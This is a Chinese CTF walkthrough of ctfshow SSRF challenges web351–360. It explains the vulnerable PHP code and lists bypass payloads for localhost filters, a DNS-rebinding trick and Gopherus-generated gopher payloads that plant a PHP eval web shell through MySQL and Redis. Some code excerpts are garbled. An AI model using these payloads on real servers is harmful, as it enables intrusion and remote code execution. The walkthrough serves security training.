1. SSRF 概述
服务器会根据用户提交的URL发送一个HTTP请求。使用用户指定的URL,Web应用可以获取图片或者文件资源等。典型的例子是百度识图功能。
如果没有对用户提交URL和远端服务器所返回的信息做合适的验证或过滤,就有可能存在"请求伪造"的缺陷。"请求伪造",顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果"请求伪造"发生在服务器端,那这个漏洞就叫做"服务器端请求伪造",英文名字Server Side Request Forgery,简称SSRF。
SSRF是一种由攻击者发起的伪造服务器发送的请求的一种攻击。
1.1 SSRF 场景
SSRF漏洞主要出现在需要从服务器向其他资源发送请求的应用程序中,例如图片处理、文件下载、URL 转发等。其中被攻击的目标系统通常位于服务器的内部网络。
ssrf产生原理:
服务端存在网络请求功能/函数,例如:file_get_contens()这一类类似于curl
这种函数传入的参数用户是可控的
没有对用户输入做过滤导致的ssrf漏洞
ssrf利用:
用于探测内网服务以及端口
探针存活主机以及开放服务
探针是否存在redis服务(未授权访问, 相当于是可以访问到redis服务并且开发人员不严谨没有设置密码, 因为默认是没有密码的, 或者说开发者设置了密码但是是弱口令), 利用定时任务反弹shell
思维导图
Web351
代码解释:
<?php
// 开启PHP的错误报告,但这里设置为0,即关闭所有错误报告。这通常不推荐在生产环境中使用,因为它会隐藏所有错误和警告。
error_reporting(0);
// 使用highlight_file函数高亮显示当前PHP文件的源代码。这通常用于教学或调试目的,但在生产环境中可能会暴露敏感信息。
highlight_file(FILE);
// 从POST请求中获取名为'url'的参数值,并将其存储在变量$url中。
url=_POST['url'];
// 初始化一个新的cURL会话,并将之前获取的URL作为参数传递给curl_init函数。
ch=curl_init(url);
// 设置cURL选项,关闭cURL请求头信息的输出。这意味着cURL不会返回HTTP头部信息,只返回主体内容。
curl_setopt($ch, CURLOPT_HEADER, 0);
// 设置cURL选项,将CURLOPT_RETURNTRANSFER设置为1,这意味着cURL执行的结果(即请求的响应)将被作为字符串返回,而不是直接输出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// 执行cURL会话,并将结果存储在变量$result中。
result=curl_exec(ch);
// 关闭cURL会话并释放所有资源。
curl_close($ch);
// 输出cURL请求的结果(即请求的响应内容)。
echo ($result);
?>
函数解释:
1.curl_init() 初始化cURL,返回资源给$ch
2.curl_setopt() 设置一个cURL传输选项
bool curl_setopt ( resource $ch , int $option , mixed $value )
参数一:curl资源 参数二:设置的请求选项 参数三:请求选项的值
CURLOPT_HEADER 启用时会将头文件的信息作为数据流输出。
URLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
3.curl_exec()执行cURL资源,并传递给浏览器
4.curl_close()关闭cURL资源
Payload
Web352
代码解释:
<?php
// 关闭PHP的错误报告
error_reporting(0);
// 高亮显示当前PHP文件的源代码,这通常不应在生产环境中使用
highlight_file(FILE);
// 从POST请求中获取名为'url'的参数值
url=_POST['url'];
// 使用parse_url函数解析URL,并将结果存储在$x数组中
x=parse_url(url);
// 检查URL的协议是否为'http'或'https'
if(x\['scheme'\]==='http'\|\|x['scheme']==='https'){
// 尝试使用正则表达式检查URL是否不包含'localhost'或'127.0.0'(注意:这里只检查了'127.0.0'的前缀,没有完整的IP地址检查)
// 但是,preg_match函数的调用方式不正确,因为它没有指定完整的模式字符串和待匹配的字符串
// 正确的调用应该是preg_match('/localhost|127\.0\.0\./', $url)
if(!preg_match('/localhost|127.0.0/')){
// 如果URL通过了协议和本地地址的检查,则初始化cURL会话
ch=curl_init(url);
// 设置cURL选项以关闭头部信息的输出并返回结果作为字符串
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// 执行cURL请求,并将结果存储在$result中
result=curl_exec(ch);
// 关闭cURL会话
curl_close($ch);
// 输出cURL请求的结果
echo ($result);
}
else{
// 如果URL包含'localhost'或'127.0.0'(尽管由于正则表达式的问题,这个检查可能不准确),则终止脚本执行
die('hacker');
}
}
else{
// 如果URL的协议不是'http'或'https',则终止脚本执行
die('hacker');
}
?>
正则绕过127.0.0.1
编码绕过:
payload:
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
url=http://0.0.0.0/flag.php 0.0.0.0代表本机
url=http://0x7F000001/flag.php 16进制地址
url=http://2130706433/flag.php 10进制地址
url=http://127.1 简写
Ip地址转换器地址
IP地址进制转换本计算器可以在线进行IP地址的二进制、十六进制、十进制的互换。https://tool.520101.com/wangluo/jinzhizhuanhuan/
Web353
匹配不包含 localhost 或以 127. 开头的 IP 地址(如 127.0.0.1)的 URL,您可以使用以下正则表达式
编码绕过:
payload:
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
url=http://0.0.0.0/flag.php 0.0.0.0代表本机
url=http://0x7F000001/flag.php 16进制地址
url=http://2130706433/flag.php 10进制地址
url=http://127.1/flag.php 简写
Web354
代码解释:
<?php
// 关闭PHP的错误报告
error_reporting(0);
// 高亮显示当前PHP文件的源代码,这通常不应在生产环境中使用
highlight_file(FILE);
// 从POST请求中获取名为'url'的参数值
url=_POST['url'];
// 使用parse_url函数解析URL,并将结果存储在$x数组中
x=parse_url(url);
// 检查URL的协议是否为'http'或'https'
if(x\['scheme'\]==='http'\|\|x['scheme']==='https'){
// 尝试使用正则表达式检查URL是否不包含'localhost'、'1'、'0'或字面量字符'。'(但这里的使用可能是错误的)
// 注意:这个正则表达式实际上会匹配任何包含'1'、'0'或'。'(后者可能是一个打字错误,意图可能是'.')的URL
if(!preg_match('/localhost|1|0|。/i', $url)){
// 如果URL通过了协议和正则表达式的检查,则初始化cURL会话
ch=curl_init(url);
// 设置cURL选项以关闭头部信息的输出并返回结果作为字符串
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// 执行cURL请求,并将结果存储在$result中
result=curl_exec(ch);
// 关闭cURL会话
curl_close($ch);
// 输出cURL请求的结果
echo ($result);
}
else{
// 如果URL包含'localhost'、'1'、'0'或'。'(考虑到'。'可能是打字错误),则终止脚本执行
die('hacker');
}
}
else{
// 如果URL的协议不是'http'或'https',则终止脚本执行
die('hacker');
}
?>
法一
sudo.cc相当于127.0.0.1
方法二(未解决)
302跳转
在自己的网站页面添加
<?php
header("Location:http://127.0.0.1/flag.php");
重定向到127
方法三(未解决)
DNS-Rebinding
自己去ceye.io注册绑定127.0.0.1然后记得前面加r
url=http://r.xxxzc8.ceye.io/flag.php
查看 profile
Web355
if((strlen($host)<=5))
要求host长度小于5位
Web356
if((strlen($host)<=3)){
要求长度小于3位
url=http://0/flag.php
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
Web358
php复制代码
if(preg_match('/^http:\/\/ctf\..*show/i',url)){
echo file_get_contents($url);
}
这段代码使用preg_match()函数来验证$url是否满足特定的正则表达式模式。这个
'^http:\/\/ctf\..*show$'意味着:
URL必须以http://开头。
紧接着必须是ctf.(不区分大小写,因为使用了i修饰符)。
然后是任意数量的任意字符(.表示任意字符,*表示前面的字符可以出现0次或多次)。
最后必须以show结尾。
如果URL满足这个模式,file_get_contents()函数将被调用,尝试获取该URL指向的内容,并将其输出到屏幕上。
payload:
url=http://ctf.@127.0.0.1/flag.php#show
url=http://ctf.@127.0.0.1/flag.php?show
Web359
登录抓包发现
u=Username&returl=https%3A%2F%2F404.chall.ctf.show%2F
存在ssrf
Gopher协议打MySQL
具体原理:CTF SSRF 漏洞从0到1 - FreeBuf网络安全行业门户
先下载Gopherus
git clone https://github.com/tarunkant/Gopherus.git
python gopherus.py
python2 .\gopherus.py --exploit mysql
username:root
写入一句话木马
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01
对_再进行url编码
%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2532%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501
Web360
Payload生成:
python2 gopherus.py --exploit redis
<?php @eval($_POST['cmd']);?>
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
Url编码
url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A